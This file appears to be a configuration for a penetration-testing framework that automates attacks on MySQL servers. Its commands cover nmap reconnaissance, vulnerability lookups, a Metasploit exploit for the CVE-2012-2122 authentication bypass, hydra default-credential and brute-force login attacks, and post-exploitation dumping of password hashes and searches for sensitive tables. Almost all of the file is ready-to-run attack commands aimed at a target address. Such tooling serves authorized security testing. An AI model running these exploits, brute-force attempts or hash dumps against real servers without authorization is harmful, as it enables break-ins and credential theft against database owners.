#########################################################################################
# MySQL Settings
#########################################################################################

[config]
default_port = 3306
protocol	 = tcp
categories 	 = recon, vulnlookup, exploit, defaultcreds, bruteforce, postexploit

[products]
mysql-server =
    MySQL

#########################################################################################
# Recon
#########################################################################################
[check_nmap-recon]
name        = nmap-recon
category    = recon
description = Recon using Nmap MySQL scripts
tool        = nmap
command_1   = sudo nmap -sT -sV -Pn -vv -p [PORT] --script='mysql-enum,mysql-info,mysql-vuln-*' --stats-every 10s [IP]


#########################################################################################
# Vulnlookup
#########################################################################################
[check_vulners-lookup]
name        = vulners-lookup
category    = vulnlookup
description = Vulnerabilities lookup on Vulners.com (requires product name+version)
tool        = vulners-lookup
apikey      = vulners
# To avoid lots of false positives, only syntax using affectedSoftware is used here
command_1   = python3 vulners-lookup.py --apikey [APIKEY name="vulners"] 'affectedSoftware.name:"[MYSQL-SERVER-VENDOR] [MYSQL-SERVER-NAME]" AND affectedSoftware.version:"[MYSQL-SERVER-VERSION]"'
context_1   = { 'mysql-server': 'any|version_known' }

[check_cvedetails-lookup]
name        = cvedetails-lookup
category    = vulnlookup
description = Vulnerabilities lookup on Cvedetails.com (requires product name+version)
tool        = cvedetails-lookup
command_1   = python3 cvedetails-lookup.py --vendor "[MYSQL-SERVER-VENDOR]" --product "[MYSQL-SERVER-NAME]" --version "[MYSQL-SERVER-VERSION]"
context_1   = { 'mysql-server': 'any|version_known' }


#########################################################################################
# Exploit
#########################################################################################
[check_mysql-auth-bypass-cve2012-2122]
name        = mysql-auth-bypass-cve2012-2122
category    = exploit
description = Exploit password bypass vulnerability in MySQL - CVE-2012-2122
tool        = metasploit
command_1   = sudo msfconsole -q -x "use scanner/mysql/mysql_authbypass_hashdump; set RHOSTS [IP]; set RPORT [PORT]; set VERBOSE true; run; exit"


#########################################################################################
# Defaultcreds
#########################################################################################
[check_default-creds]
name        = default-creds
category    = defaultcreds
description = Check default/common credentials on MySQL server
# tool        = patator
# command_1   = python2.7 patator.py mysql_login host=[IP] port=[PORT] user=COMBO00 password=COMBO01 0=[WORDLISTSDIR]/services/mysql/mysql_combo.txt -x ignore:fgrep='Access denied for user'
tool        = hydra
command_1   = hydra -C "[WORDLISTSDIR]/services/mysql/mysql-default-combo2.txt" -s [PORT] -v -V -I [IP] mysql
#context_1   = { 'auth_status': NO_AUTH }


#########################################################################################
# Bruteforce
#########################################################################################
[check_bruteforce-creds]
name        = bruteforce-creds
category    = bruteforce
description = Bruteforce MySQL accounts ("root" or known users)
tool        = hydra
# Run bruteforce only if no creds found/known
command_1   = hydra -L "[USERLIST default="services/mysql/mysql-usernames-short.txt"]" -P "[PASSLIST default="passwords/pass-short.txt"]" -s [PORT] -e nsr -v -V -I [IP] mysql
context_1   = { 'auth_status': NO_AUTH }
# If a user is known, bruteforce with this account
command_2   = hydra -l '[USERNAME]' -P "[PASSLIST default="passwords/pass-short.txt"]" -s [PORT] -e nsr -F -v -V -I [IP] mysql
context_2   = { 'auth_status': USER_ONLY }


#########################################################################################
# Post-exploit
#########################################################################################
[check_mysql-hashdump]
name        = mysql-hashdump
category    = postexploit
description = Retrieve usernames and password hashes from MySQL database (req. creds)
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS [IP]; set RPORT [PORT]; set USERNAME '[USERNAME]'; set PASSWORD '[PASSWORD]'; set VERBOSE true; run; exit"
context_1   = { 'auth_status': POST_AUTH }

[check_mysql-interesting-tables-columns]
name        = mysql-interesting-tables-columns
category    = postexploit
description = Search for interesting tables and columns in database
tool        = jok3r-scripts
command_1   = cd mysql/; python3 mysql_search.py -H [IP] -P [PORT] -u '[USERNAME]' -p '[PASSWORD]'
context_1   = { 'auth_status': POST_AUTH }